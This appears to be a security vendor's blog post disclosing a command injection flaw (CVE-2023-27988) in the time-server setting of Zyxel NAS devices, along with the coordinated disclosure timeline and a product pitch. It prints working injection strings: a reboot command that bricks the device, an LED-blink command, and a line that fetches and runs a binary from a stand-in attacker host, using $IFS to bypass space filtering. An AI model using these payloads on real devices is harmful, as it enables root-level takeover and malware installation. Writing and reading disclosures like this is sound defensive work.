In the corner of our R&D office space, you’ll find racks full of devices, routers, switches, boards, and all sorts of gadgets, all stacked next to each other on long bare metal shelves.
From afar, this may look just like a typical case of not-so-well-organized R&D storage. When you move in closer, however, you`ll notice the blinking lights and the soft humming of the fans, as well as the long electric cables twisting around on the floor.
This is our testing area, playground, and lab—a place for us to test new ideas and new product features.
A few weeks ago, we shared a story of how one of these tests uncovered a security flaw in 80,000 QNAP devices. This time we want to share a story of how deploying a new feature helped us discover an authenticated command injection (CVE-2023-27988) vulnerability in the following Linux-operated Zyxel NAS devices:
- NAS326 version 5.21(AAZF.12)C0 and earlier
- NAS540 version 5.21(AAZF.9)C0 and earlier
- NAS542 version 5.21(AAZF.9)C0 and earlier
Zyxel NAS542 (Source: Zyxel Networks)
And yes, it’s another NAS…
And no, we are NOT picking on NASes. We just happen to have a lot of them lying around.
Following Up on a ‘Dangerous String Format’ Alert
Several months ago, we were in the process of deploying a new feature. As part of that deployment, we ran some tests on our lab equipment. When we did, we were greeted with a ‘Dangerous String Format’ alert, which you can see below.
This alert is triggered by security logic in our product that looks for suspicious and potentially harmful string handling patterns.
For example, relevant to this case, a string that accepts user inputs and can be leveraged for the execution of shell commands. For instance, an API call via system() or popen().
When such a pattern is confirmed, our system issues an alert with the details of the string format and the executing process name, which helps quickly identify the root cause of the issue.
As you can see above, the culprit in this case was the ntpdate_agent process, responsible for periodically synchronizing the device’s internal clock via NTP pings.
The process was using the following input:
%s -su -p 1 -t 15 %s>dev/null 2>&1; echo $?
Resulting in:
/usr/sbin/ntpdate -su -p 1 -t 15 time.stdtime.gov.tw>dev/null 2>&1; echo $?
With the first %s argument being replaced with “/usr/sbin/ntpdate” and the second one with “time.stdtime.gov.tw”.
Logging into the device Control Panel, we could immediately spot the “time.stdtime.gov.tw” as a default value for the ‘Time server address’ textbox in System>Date/Time.
Proof of Concept: Red LED Light Show
Knowing that it was passed as a string to ntpdate_agent, we started to play around with it to see how it could be used to manipulate the device.
Our first attempt was to replace it with ;reboot, which predictably sent the device into a reboot loop, effectively bricking it until we performed a factory reset.
For our next attempt, we decided to be a little bit more creative and put up a LED light show using the following string:
;setLED${IFS}SYS${IFS}RED${IFS}FAST_BLINK
Besides making us giggle, these tests also confirmed that the vulnerability we found could be used by an authenticated user to execute an arbitrary system command with root privileges on the device.
Consequently, they could be used for a more malicious purpose—for instance, for a remote malware injection with a string similar to:
;wget${IFS}attacker.com/binary;chmod${IFS}+x${IFS}binary;./binary
Important: Note that in the strings above, the space character (%20 in percent-encoding) was being sanitized/filtered, which is why we had to replace it with $IFS which is an environment variable that contains the value of “ “.
Security Advisory
We reached out to Zyxel with our findings on March 3rd, 2023. The company acknowledged the vulnerability and issued a security patch and CVE-2023-27988 on May 30, 2023. Applying the patch will fix the issue for Zyxel users.
It has to be said that, throughout the entire process, the Zyxel team was very responsive and kind—never stringing us along or keeping us in the dark. For instance, it took them just a few days to verify our research, and the precise patch date was set well in advance, allowing for responsible and informative disclosure.
This is how they let us know that the patch was out:
Recently the company had its share of bad news. Still, through it all, they seem to be focused on doing the right thing for the security of their users and their products, and this is the kind of attitude we can use more of.
Afterthoughts
As we were waiting for the company to release its update, we saw the news of a similar vulnerability discovered by another group of researchers in ADVANTECH EKI-15XX serial device servers.
A different device from a different company could also be compromised by manipulating the NTP server details from the control panel…
And no, these instances are not unique, nor are there a rare coincidence. As any security researcher will tell you, improper input sanitization is a common reason for many security vulnerabilities.
And while in this case, as in many others, some form of sanitization was in place, fully hardening your code against every possibility is simply not feasible. What’s more, firmware developers often lack the tools or APIs on these embedded environments. As a result, sometimes something as simple as changing the NTP server’s settings or pinging an IP address needs to be implemented via a third-party program and passing user-controlled strings to its arguments without applying any sanitation to said input.
For us, all of this goes back to our deterministic security model, which focused on ensuring system integrity, no matter the attack vector.
Leveraging the rudimentary nature of IoT devices, we use our patented embedded integrity verification technology to sidestep the typical “cat and mouse” game.
Instead of trying to predict everything that can be done, we tilt the playing field to determine what bad actors could never do.
